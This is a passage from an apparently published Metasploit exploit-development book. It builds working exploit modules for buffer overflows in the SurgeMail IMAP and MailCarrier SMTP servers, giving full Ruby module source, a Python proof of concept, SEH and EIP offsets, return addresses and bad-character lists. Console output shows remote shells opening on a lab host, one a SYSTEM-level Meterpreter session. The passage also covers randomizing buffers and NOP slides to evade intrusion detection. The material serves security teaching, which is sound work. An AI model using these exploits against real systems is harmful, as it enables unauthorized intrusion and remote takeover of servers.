IbHMrZNjVADz6A0byzgiP2pXa7Zm
OloV9u6Fwa0l6sR6oL0Png9MYNwTMXTUdiE7rOjuOmkdgglPTkZ3n4de1FE
aLh8Xhf9SNSPZUX0M7gmUiyNYv6
qti3Omy8qvjJOQui1IhUhf5fKOunKIcB5Zw7quznxV1GF2R5hXVTw1vlbMi5
TQW68ZDFlD6q6BJ4S3oNrFCyXX
aQpAURyCoDGdjoxk1vrUPGusf3i4EIF2iqyyekWiQ7GuYcwMax3o0ZXB2djFh2
dYEGyBSCHaFhpwUgamThinnM
AsDFuEY9Hq9UOQSmZ6ySunifPFjCbDs4Zooquw0HPaVnbNVo97tfVBYSei9dWCUWwU
APVJVsTGoDNRVarOrg8q
wbziv8aQaPZ7Y8r0SUiB1nNhlhl3UCVZpf8Gck0psjETf4ks356q0I
3mLZkqCLkznVV4ayetVgaDm" "PWNED"

[*] Server crashed, no response
[*] Auxiliary module execution completed
msf auxiliary(imap_fuzz) >

In this listing, the fuzzer connects and logs into the remote service at and generates a random string of text at . At the malicious request is sent to the server, and the reply is received and displayed at . If the server receives no reply, you receive the notification at that the server has crashed, which is your cue to check your debugger.

If you now check your debugger on the Windows target, you should see that it has paused at the point of the crash, as shown in Figure 14-1. Looking at the crash, we can see that no memory addresses are overwritten and that, unfortunately, there’s nothing really exploitable at first glance. After further tinkering with increasing buffer lengths, you will find that by sending an even longer string of 11,000 bytes, you can overwrite the Structured Exception Handler (SEH). Controlling the SEH makes the exploit more reliable, because it makes it more versatile. Similarly, the use of an application DLL for a return address makes the exploit portable across different operating system versions.

Figure 14-1. The debugger pauses at the point of the crash.

To send the 11,000-byte string, we make a small change in the fuzzer code, as shown here:

print_status("Generating fuzzed data...")
fuzzed = "A" * 11000
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

Rather than using the random string of characters, this code modification sends a string of 11,000 As as part of the malicious request.

Controlling the Structured Exception Handler

If you restart the surgemail service, reattach the debugger to the process, and rerun the module, you should see the crash that fuzzing found in your debugger. If you’re using the Immunity Debugger, you should be able to see the contents of the SEH chain by selecting View▸SEH chain. Right-click the value, which should be 41414141, and select Follow address in stack to display the stack contents leading to the SEH overwrite in the lower-right pane shown in Figure 14-2.

Figure 14-2. The overwritten SEH entry

Now that you know that you can control the SEH chain on the vulnerable surgemail process with an overly long buffer, it’s time to determine the exact length required to overwrite it on the target. As you will recall from our discussions of stand-alone exploit development, before you can use a return address, you first need to find out where, exactly, the overwrite occurs.

We can modify our fuzzer code to create a nonrepeating, random string of characters of a specific length, as shown next:

print_status("Generating fuzzed data...")
fuzzed = Rex::Text.pattern_create(11000)
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

In this listing, we use Rex::Text.pattern_create to generate the nonrepeating random string of characters with our fuzzer. Rerunning the fuzzer module now shows that SEH was overwritten on the target with 684E3368, as shown in Figure 14-3.

Figure 14-3. The SEH overwritten with random characters

With the SEH overwritten with our random set of characters, we can use pattern_offset.rb in optmetasploit3/msf3/tools/ to determine exactly where the overwrite occurs by passing the characters of interest (684E3368) followed by the length of the string that was sent to the target (11000), as shown here:

root@bt:˜/.msf3/modules/auxiliary/fuzzers#
optmetasploit3/msf3/tools/pattern_offset.rb
684E3368 11000
10360

The value 10360 means that the four bytes that overwrite SEH are 10361, 10362, 10363, and 10364. We can now change the fuzzer code one last time to verify our findings:

print_status("Generating fuzzed data...")
fuzzed = "\x41" * 10360 fuzzed << "\x42" * 4 fuzzed << "\x43" * 636
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)

As shown, the fuzzer will build the malicious request beginning with 10,360 As (hexadecimal 41), followed by four Bs (hexadecimal 42) to overwrite the SEH, and then 636 Cs (hexadecimal 43) as filler to keep the string length constant at 11,000 bytes.

Running the fuzzer against the target again shows that the entire SEH chain is under your complete control, as shown in Figure 14-4.

Figure 14-4. SEH fully controlled

Hopping Around SEH Restrictions

Following the SEH overwrite, there’s very little space for shellcode before the end of the stack. Normally, a POP-POP-RETN set of instructions would be used to reach the Next SEH (NSEH), followed by a short jump forward into the shellcode. We’ll overcome this limited space restriction by developing an exploit to use as much space as possible for our final payload. At this point, we are done with the fuzzing process and we’ll move into developing an exploit for the vulnerability that we found.

This exploit would be a good candidate for an egg hunter, which is a small segment of shellcode that searches memory for the main payload; however, we’ll use a different tactic and overwrite SEH with the POP-POP-RETN instruction pointer. Once that’s overwritten we’ll make a short jump backward that requires very few instructions (rather than jumping forward). Next, we’ll use the space gained in the short jump to execute the larger near jump farther back into a NOP slide and shellcode. Although it’s not required, a NOP slide is always a good addition to an exploit, because it gives you a little room for error should the buffer position change in memory. NOPs will have no adverse impact on the exploit code and will act as filler. Conceptually, the attack will look like this:

[Buffer of garbage | NOP Slide | Shellcode | Near Jump | Short Jump | POP-POP-RETN]

To ensure portability of the exploit across different versions of Windows, use a return address from an application DLL or executable. In this case, only the application executable itself is available, so you can try to accomplish a three-byte overwrite of SEH using a POP-POP-RETN sequence of instructions from the surgemail.exe file. If this can be done successfully, the exploit will be universal across versions of Windows.

Let’s move on to creating the actual exploit for the SurgeMail vulnerability. Following is our initial skeleton exploit module to be saved in root.msf3/modules/exploits/windows/imap/:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap

def initialize(info = {})
super(update_info(info,
'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'BID', '28260' ],
[ 'CVE', '2008-1498' ],
[ 'URL', 'http://www.exploit-db.com/exploits/5259' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 10351,
'DisableNops' => true,
'BadChars' => "\x00"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' =>
0xDEADBEEF } ], # p/p/r TBD
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end

def exploit
connected = connect_login
lead = "\x41" * 10360
evil = lead + "\x43" * 4
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end

end

The 'Space' declaration at refers to the space available for shellcode. This declaration is very important in an exploit module because it determines which payloads Metasploit will allow you to use when running your exploit. Some payloads require much more space than others, so try not to overstate this value. Payload sizes vary greatly and encoding increases their sizes. To see the size of an unencoded payload, you would use the info command followed by the name of the payload and look for the Total size value, as shown here:

msf > info payload/windows/shell_bind_tcp

Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell_bind_tcp
Version: 8642
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 341
Rank: Normal

The return address at in the 'Targets' section is currently occupied by a placeholder value, which we’ll change later in the exploit development process.

As with the fuzzer module discussed earlier, this exploit connects and logs into the target at , uses a string of As at as the initial buffer, and appends four Cs at to overwrite the SEH. The entire exploit string is generated at and then sent to the target at .

Getting a Return Address

The next step is to locate a POP-POP-RETN sequence in surgemail.exe. To do so, copy the executable to a location on your Back|Track machine, and then use the -p switch with msfpescan to locate a suitable candidate, as in the following example:

root@bt:/tmp# msfpescan -p surgemail.exe

[surgemail.exe]
0x0042e947 pop esi; pop ebp; ret
0x0042f88b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x0046754d pop esi; pop ebp; ret
0x00467578 pop esi; pop ebp; ret
0x0046d204 pop eax; pop ebp; ret

. . . SNIP . . .

0x0078506e pop ebx; pop ebp; ret
0x00785105 pop ecx; pop ebx; ret
0x0078517e pop esi; pop ebx; ret

When msfpescan is run against the target executable, it reads through the machine code looking for assembly instructions that match the target (a POP-POP-RETN sequence in this case) and displays the memory address where these instructions occur. As you can see in the listing, multiple addresses are found. We’ll use the address at the end of the output, 0x0078517e, to overwrite SEH in the exploit. Having made our selection, we edit the 'Targets' section of the exploit module to include this address and edit the exploit section to include it as part of the buffer to be sent, as shown next.

'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' =>
"\x7e\x51\x78" } ], # p/p/r in surgemail.exe
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end

def exploit
connected = connect_login
lead = "\x41" * 10360
evil = lead + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"

To perform a three-byte overwrite of the SEH, we set the three bytes to be added to the buffer in the 'Targets' block at , in little-endian order, as shown in boldface type in the listing. (Endian-ness is determined by the target CPU’s architecture, and Intel-compatible processors use little-endian byte ordering.)

At we replace the three Cs in the evil string with [target.ret].pack("A3"), which will send the return address exactly as it is declared in the 'Targets' block. When modifying many exploits that use a three-byte overwrite, you can declare the target address literally (0x0078517e in this case) and Metasploit will automatically order the bytes correctly when you use [target.ret].pack('V'). This scenario requires more granular control, because if we were to send the null (00) byte, it would represent the end of a string and could prevent the exploit from functioning properly.

Now is a good time to run the exploit to make sure that it works properly. If you jump too far ahead when developing an exploit, you run the risk of making an error somewhere and having to do a lot of backtracking to find out what went wrong. Here’s the exploit:

msf > use exploit/windows/imap/surgemail_book
msf exploit(surgemail_book) > set IMAPPASS test
IMAPPASS => test
msf exploit(surgemail_book) > set IMAPUSER test
IMAPUSER => test
msf exploit(surgemail_book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(surgemail_book) > set PAYLOAD generic/debug_trap
PAYLOAD => generic/debug_trap
msf exploit(surgemail_book) > exploit

[*] Authenticating as test with password test...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_book) >

The payload that we use at , generic/debug_trap, won’t actually send a payload. Instead, it sends multiple \xCCs, or breakpoints, to debug the execution flow of the exploit. This is useful for confirming that your shellcode is inserted at the right places in your exploit.

After running the exploit, open the Immunity Debugger, as shown in Figure 14-5, and at the crash select View ▸ SEH chain. Set a breakpoint by pressing F2, and then press shift-F9 to pass the exception to the application and step into the POP-POP-RETN sequence of instructions.

Now, still in the debugger, press F7 to single-step through the instructions until you land in the 41414141 contained in NSEH.

Figure 14-5. Landing in the POP-POP-RETN instructions

Next, edit the exploit to include the instructions for the short jump backward, as shown here:

def exploit
connected = connect_login
lead = "\x41" * 10356
nseh = "\xeb\xf9\x90\x90"
evil = lead + nseh + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end

When editing your exploit, be sure to adjust the initial buffer length at as you make changes, or your alignment will be off. In this case, NSEH is being overwritten with the instructions to make a short five-byte jump backward (\xeb\xf9\x90\x90) , where eb is the operation code for a short jump. The new lead buffer length is adjusted to 10,356 bytes, because these five new bytes come before the SEH overwrite.

When you run the exploit again and step through the instructions in the debugger, you should land in the 41s (hexadecimal As) before the exception handler values. The five INC ECX instructions should be replaced with the code to jump farther back into the initial buffer.

Now we’ll change the exploit to include the “near jump” (\xe9\xdd\xd7\xff\xff) sequence of instructions, to jump backward to a location near the beginning of the buffer. Looking at the buffer (Figure 14-6), you can see that the entire string of As is completely intact, leaving more than 10,000 bytes available for shellcode. Since the average space required for functional shellcode is less than 500 bytes, this leaves you ample room.

Figure 14-6. Lots of room for shellcode

Now all you have to do is replace the buffer of 41s with NOPs (\x90) to give yourself a nice NOP slide to land in, and then you can sit back and let Metasploit take care of the shellcode.

def exploit
connected = connect_login
lead = "\x90" * (10351 - payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end

As you can see in this listing, the initial string of As we used earlier is replaced by NOPs minus the length of the shellcode that Metasploit generates at . Notice that the buffer length, initially 10,356 bytes, has been decreased by five bytes to 10,351 to account for the near jump instructions at . Finally, the malicious string is built using all of the exploit’s components at .

Now we can select a real payload and execute the module to see what happens. Surprisingly, the exploit completes but no session is created. The exploit module connects and sends its payload, but no shell is returned to us, as shown next:

msf exploit(surgemail_book) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp

msf exploit(surgemail_book) > exploit

[*] Started bind handler
[*] Authenticating as test with password test...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_book) >

Bad Characters and Remote Code Execution

Well, that certainly wasn’t expected: The exploit completes but no session is created. If you check your debugger, you’ll see that the application didn’t even crash — so what happened? Welcome to the sometimes challenging and nearly always frustrating world of bad characters. Some characters, when sent as part of an exploit buffer, get mangled while being read by the application. The unfortunate result is that bad characters render your shellcode, and sometimes the entire exploit, unusable.

When writing a Metasploit module, you should always be sure to identify all the bad characters, because the shellcode that Metasploit generates differs each time an exploit is launched, and any rogue bad characters will greatly reduce a module’s reliability. In many cases, if you fail to find all the bad characters, the application will crash without running the shellcode. In the preceding example, SurgeMail didn’t even crash. The exploit appears to succeed, but we don’t get a session.

There are many ways to identify bad characters, including replacing the dynamically created shellcode with a string of sequential characters (\x00\x01\x02...), and checking the debugger to see where the first character gets mangled and marking that character as bad. One of the fastest methods, however, is to find the bad characters in the source code of similar exploits. For example, a search of the IMAP exploits as of this writing finds \x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b listed as bad characters, as shown next:

'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 10351,
'DisableNops' => true,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b"
},
'Platform' => 'win',
'Targets' =>

When you declare 'BadChars' in an exploit module, Metasploit will automatically exclude them from shellcode and from any automatically generated strings of text or NOPs.

When we run the exploit again, as shown next, after declaring bad characters, we finally get a session on the third try. The exploit still isn’t reliable, but it works because Metasploit dynamically changes the shellcode each time the exploit is run. As a result, the characters that are causing the module to fail may not always be present.

msf exploit(surgemail_book) > rexploit

[*] Started bind handler
[*] Authenticating as test with password test...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_book) > rexploit

[*] Started bind handler
[*] Authenticating as test with password test...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_book) > rexploit

[*] Started bind handler
[*] Authenticating as test with password test...
[*] Sending payload
[*] Command shell session 1 opened (192.168.1.101:59501 -> 192.168.1.155:4444)

(C) Copyright 1985-2001 Microsoft Corp.

c:\surgemail>

Determining the remaining bad characters is an exercise left for the reader. An excellent, albeit tedious, way to eliminate all bad characters is to follow the technique described at http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Dealing_with_badchars.

The current exploit code, including all of the pieces we’ve added, is shown here:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap

def initialize(info = {})
super(update_info(info,
'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'BID', '28260' ],
[ 'CVE', '2008-1498' ],
[ 'URL', 'http://www.exploit-db.com/exploits/5259' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 10351,
'DisableNops' => true,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' =>
"\x7e\x51\x78" } ], # p/p/r in surgemail.exe
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end

def exploit
connected = connect_login
lead = "\x90" * (10351 - payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end

end

Wrapping Up

Although we haven’t uncovered a new vulnerability in this chapter, we have covered the entire process from developing and running a fuzzer to developing a functioning exploit. The exploit that we built in this chapter is complicated and unusual, and it therefore offers an excellent opportunity to think beyond the basics and explore creative avenues to obtain code execution.

One of the best ways to dig deeper into Metasploit is to read through the Metasploit source files and other exploit modules to get a better idea of what is possible within the Metasploit Framework. The techniques in this chapter have given you the basic tools you’ll need to begin discovering vulnerabilities and developing Metasploit exploit modules that will take advantage of them.

In the next chapter we will begin to dive into porting exploits into the Framework that will build upon the knowledge you learned in this chapter. We’ll show you how to convert publicly available exploits into a working Metasploit exploit by rewriting the exploit and debugging it to see what it’s doing.

Chapter 15. Porting Exploits to the Metasploit Framework

You can choose to convert exploits to Metasploit from a different format for many reasons, not the least of which is to give back to the community and the Framework. Not all exploits are based on the Metasploit Framework; some are programmed in Perl and Python or C and C++.

When you port exploits to Metasploit, you convert an existing stand-alone exploit, such as a Python or Perl script, for use within Metasploit. And, of course, after you have imported an exploit into the Framework, you can leverage the Framework’s many high-end tools to handle routine tasks, so that you can concentrate on what is unique about your particular exploit. In addition, although stand-alone exploits often depend on your using a certain payload or operating system, once ported to the Framework, payloads can be created on the fly and the exploit can be used in multiple scenarios.

This chapter will walk you through the process of porting two stand-alone exploits to the Framework. With your knowledge of these basic concepts and a bit of hard work on your part, you should be able to begin porting exploits into the Framework yourself by the end of this chapter.

Assembly Language Basics

To get the most out of this chapter, you’ll need a basic understanding of the assembly programming language. We use a lot of low-level assembly language instructions and commands in this chapter, so let’s take a look at the most common ones.

EIP and ESP Registers

Registers are placeholders that store information, perform calculations, or hold values that an application needs in order to run. The two most important registers for the purposes of this chapter are EIP, the extended instruction pointer register, and ESP, the extended starter pointer register.

The value in EIP tells the application where to go after it has executed some code. In this chapter, we’ll overwrite our EIP return address and tell it to point to our malicious shellcode. The ESP register is where, in our buffer overflow exploit, we would overwrite the normal application data with our malicious code to cause a crash. The ESP register is essentially a memory address and placeholder for our malicious shellcode.

The JMP Instruction Set

The JMP instruction set is the “jump” to the ESP memory address. In the overflow example that we’ll explore in this chapter, we use the JMP ESP instruction set to tell the computer to go to the ESP memory address that happens to contain our shellcode.

NOPs and NOP Slides

A NOP is a no-operation instruction. Sometimes when you trigger an overflow, you won’t know exactly where you’re going to land within the space allocated. A NOP instruction simply says to the computer “Don’t do anything if you see me,” and it is represented by a \x90 in hexadecimal.

A NOP slide is a handful of NOPs, combined to create a slide to our shellcode. When we go through and actually trigger the JMP ESP instructions, we will hit a bunch of NOPs, which will slide down until we hit our shellcode.

Porting a Buffer Overflow

Our first example is a typical remote buffer overflow that needs only a jump to the extended stack pointer (JMP ESP) instruction to reach the shellcode. This exploit, called the “MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow Exploit,” uses MailCarrier 2.51 SMTP commands to cause a buffer overflow.

Note

You’ll find the exploit and a vulnerable application at http://www.exploit-db.com/exploits/598/.

But this is an older exploit, originally written for Windows 2000. When you run it now, it doesn’t work quite as you’d expect. Conveniently, a Metasploit module is already in the Framework to implement this exploit, although it could use some improvement. After a little time investigating with varying buffer lengths, you will find that more than 1000 bytes are available for shellcode, and the buffer length needs to be adjusted by 4 bytes. (For more information on how this is accomplished, read “Exploit Writing Tutorial Part 1: Stack Based Overflows,” at http://www.exploit-db.com/download_pdf/13535/.) The new proof of concept for this exploit follows: We have removed the shellcode and replaced the jump instruction with a string (AAAA) to overwrite the EIP register. (Proof of concept exploits contain the basic code necessary to demonstrate the exploit but do not carry an actual payload, and in many cases they require heavy modifications before they will work properly.)

#!/usr/bin/python
#########################################################
# MailCarrier 2.51 SMTP EHLO HELO Buffer Overflow #
# Advanced, secure and easy to use Mail Server. #
# 23 Oct 2004 - muts #
#########################################################

import struct
import socket

print "

###############################################"
print "
MailCarrier 2.51 SMTP EHLO HELO Buffer Overflow"
print "\nFound & coded by muts [at] whitehat.co.il"
print "\nFor Educational Purposes Only!\n"
print "\n\n###############################################"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "\x41" * 5093
buffer += "\42" * 4
buffer += "\x90" 32
buffer += "\xcc" 1000

try:
print "\nSending evil buffer..."
s.connect(('192.168.1.155',25))
s.send('EHLO ' + buffer + '\r\n')
data = s.recv(1024)
s.close()
print "\nDone!"
except:
print "Could not connect to SMTP!"

As you might imagine, the easiest and fastest way to port a stand-alone exploit to Metasploit is to modify a similar one from the Framework. And that’s what we’ll do next.

Stripping the Existing Exploit

As our first step in porting the MailCarrier exploit, we’ll strip down the existing Metasploit module to a simple skeleton file, as shown here:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
'Description' => %q{
This module exploits the MailCarrier v2.51 suite SMTP service.
The stack is overwritten when sending an
overly long EHLO command.
},
'Author' => [ 'Your Name' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'CVE', '2004-1638' ],
[ 'OSVDB', '11174' ],
[ 'BID', '11535' ],
[ 'URL', 'http://www.exploit-db.com/exploits/598' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00\x0a\x0d\x3a",
'StackAdjustment' => −3500,
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Windows XP SP2 - EN', { 'Ret'
=> 0xdeadbeef } ],
],
'DisclosureDate' => 'Oct 26 2004',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(25),
Opt::LHOST(), # Required for stack offset
], self.class)
end

def exploit
connect

sock.put(sploit + "\r\n")

handler
disconnect
end

end

Because this exploit does not require authentication, we need only the mixin Msf::Exploit::Remote::Tcp shown at . We’ve discussed mixins in previous chapters; you’ll recall that mixins allow you to use built-in protocols such as Remote::Tcp to perform basic remote TCP communications.

In the preceding listing, the target return address is set to the bogus value Oxdeadbeef at , and the default TCP port is set to 25 at . Upon connecting to the target, Metasploit will send the malicious attack using sock.put as shown at and craft our exploit for us.

Configuring the Exploit Definition

Let’s look at how we initially configure our exploit definition. We will need to feed the service a greeting as required by the protocol, a large buffer, a placeholder where we will take control of EIP, a brief NOP slide, and a placeholder for our shellcode. Here’s the code:

def exploit
connect

sploit = "EHLO "
sploit << "\x41" * 5093
sploit << "\x42" * 4
sploit << "\x90" * 32
sploit << "\xcc" * 1000

sock.put(sploit + "\r\n")

handler
disconnect
end

The malicious buffer is built based on the original exploit code beginning with the EHLO command at followed by a long string of As at (5093 of them), 4 bytes to overwrite the EIP register at , a small NOP slide at , and then some dummy shellcode at .

In this case, we’ve selected an interrupt (breakpoint) at so that execution will pause when it reaches our shellcode without us having to set a breakpoint.

Having configured the exploit section, we save the file as mailcarrier_book.rb at modules/exploits/windows/smtp/.

Testing Our Base Exploit

In the next step, we load the module in msfconsole, set the required options, and configure a payload of generic/debug_trap (a great payload for exploit development that triggers a stop point when you are tracing the application in a debugger). Then we run the module:

msf > use exploit/windows/smtp/mailcarrier_book
msf exploit(mailcarrier_book) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local address
RHOST yes The target address
RPORT 25 yes The target port

Exploit target:

Id Name
-- ----
0 Windows XP SP2 - EN

msf exploit(mailcarrier_book) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(mailcarrier_book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(mailcarrier_book) > set payload generic/debug_trap
payload => generic/debug_trap
msf exploit(mailcarrier_book) > exploit
[*] Exploit completed, but no session was created.
msf exploit(mailcarrier_book) >

We set the options as if we were running a normal exploit, except that we use the generic/debug_trap payload to test our exploit.

After the module runs, the debugger should pause with EIP overwritten by 42424242 as shown in Figure 15-1; if you see a successful EIP overwrite of 42424242, you know your exploit is working. Notice in Figure 15-1 that the EIP register points to 42424242 and that the NOP slide and the dummy payload have made it into the buffer as expected.

Figure 15-1. MailCarrier initial overwrite

Implementing Features of the Framework

Having proved that the basic skeleton of the module works by overwriting our EIP address, we can slowly start to implement the features of the Framework. We begin by setting the target return address (shown in bold in the following example) in the 'Targets' block to a JMP ESP address. This is the same address that was used in the original exploit; it’s found in SHELL32.DLL on Windows XP SP2. We need to find a legitimate return address to ensure that our code executes properly on the operating system we are targeting. Remember that some exploits work only on specific operating systems, as is the case with this exploit. We are using an address from SHELL32.DLL, which will change across different versions or service packs. If we were to find a standard JMP ESP in the application’s memory address, we would not need to use a Windows DLL and could make this exploit universal to all Windows platforms, because the memory addresses would never change.

'Targets' =>
[
[ 'Windows XP SP2 - EN', { 'Ret' => 0x7d17dd13 } ],
],

Metasploit will add the return address into the exploit at run time. You can replace the return address in the exploit block with [target['Ret']].pack('V'). This will insert the target return address into the exploit, reversing the bytes in little-endian format. (The endian-ness is determined by the target CPU’s architecture, and processors that are Intel-compatible use little-endian byte ordering.)

Note

If you declared more than one target, this particular line would select the proper return address based on the target you selected when running the exploit. Notice how moving the exploit to the Framework is already adding versatility.

sploit = "EHLO "
sploit << "\x41" 5093
sploit << [target['Ret']].pack('V')
sploit << "\x90" 32
sploit << "\xcc" * 1000

Re-executing the exploit module should result in a successful jump to the INT3 dummy shellcode instructions, as shown in Figure 15-2.

Figure 15-2. A successful jump to dummy shellcode; we are at our user control’s INT3 instructions.

Adding Randomization

Most intrusion detections systems will trigger an alert when they detect a long string of As traversing the network, because this is a common buffer pattern for exploits. Therefore, it’s best to introduce as much randomization as possible into your exploits, because doing so will break many exploit-specific signatures.

To add randomness to this exploit, edit the 'Targets' section in the super block to include the offset amount required prior to overwriting EIP, as shown here:

'Targets' =>
[
[ 'Windows XP SP2 - EN', { 'Ret' =>
0x7d17dd13, 'Offset' => 5093 } ],
],

By declaring the Offset here , you will no longer need to include the string of As manually in the exploit itself. This is a very useful feature, because in some cases the buffer length will differ across different operating system versions.

We can now edit the exploit section to have Metasploit generate a random string of uppercase alphabetic characters instead of the 5093 As at runtime. From this point on, each run of the exploit will have a unique buffer. (We’ll use rand_text_alpha_upper to accomplish this, but we aren’t limited to this one engine. To see all available text formats, see the text.rb file located on Back|Track under optmetasploit/msf3/lib/rex/.)

sploit = "EHLO "
sploit << rand_text_alpha_upper(target['Offset']
sploit << [target['Ret']].pack('V')
sploit << "\x90" * 32
sploit << "\xcc" * 1000

As you can see, the string of As will be replaced with a random string of uppercase alphanumeric characters. And when we run the module again, it still works properly.

Removing the NOP Slide

Our next step is to remove the very obvious NOP slide, because this is another item that often triggers intrusion detection systems. Although \x90 is the best-known no-operation instruction, it isn’t the only one available. We can use the make_nops() function to tell Metasploit to use random NOP-equivalent instructions in the module:

sploit = "EHLO "
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target['Ret']].pack('V')
sploit << make_nops(32)
sploit << "\xcc" * 1000

We run the module again and check our debugger, which should be paused again on the INT3 instructions. The familiar NOP slide has been replaced by seemingly random characters, as shown in Figure 15-3.

Removing the Dummy Shellcode

With everything in the module working correctly, we can now remove the dummy shellcode. The encoder will exclude the bad characters declared in the module super block.

sploit = "EHLO "
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target['Ret']].pack('V')
sploit << make_nops(32)
sploit << payload.encoded

Figure 15-3. Randomized MailCarrier buffer

The payload.encoded function tells Metasploit to append the indicated payload to the end of the malicious string at run time.

Now, when we load our module, set a real payload, and execute it, we should be presented with our hard-earned shell, as shown here:

msf exploit(mailcarrier_book) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mailcarrier_book) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.155:1265)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Our Completed Module

Just to wrap things up, here is the complete and final code for this Metasploit exploit module:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
'Description' => %q{
This module exploits the MailCarrier v2.51 suite SMTP service.
The stack is overwritten when sending
an overly long EHLO command.
},
'Author' => [ 'Your Name' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'CVE', '2004-1638' ],
[ 'OSVDB', '11174' ],
[ 'BID', '11535' ],
[ 'URL', 'http://www.exploit-db.com/exploits/598' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x3a",
'StackAdjustment' => −3500,
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Windows XP SP2 - EN',
{ 'Ret' => 0x7d17dd13, 'Offset' => 5093 } ],
],
'DisclosureDate' => 'Oct 26 2004',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(25),
Opt::LHOST(), # Required for stack offset
], self.class)
end

def exploit
connect

sploit = "EHLO "
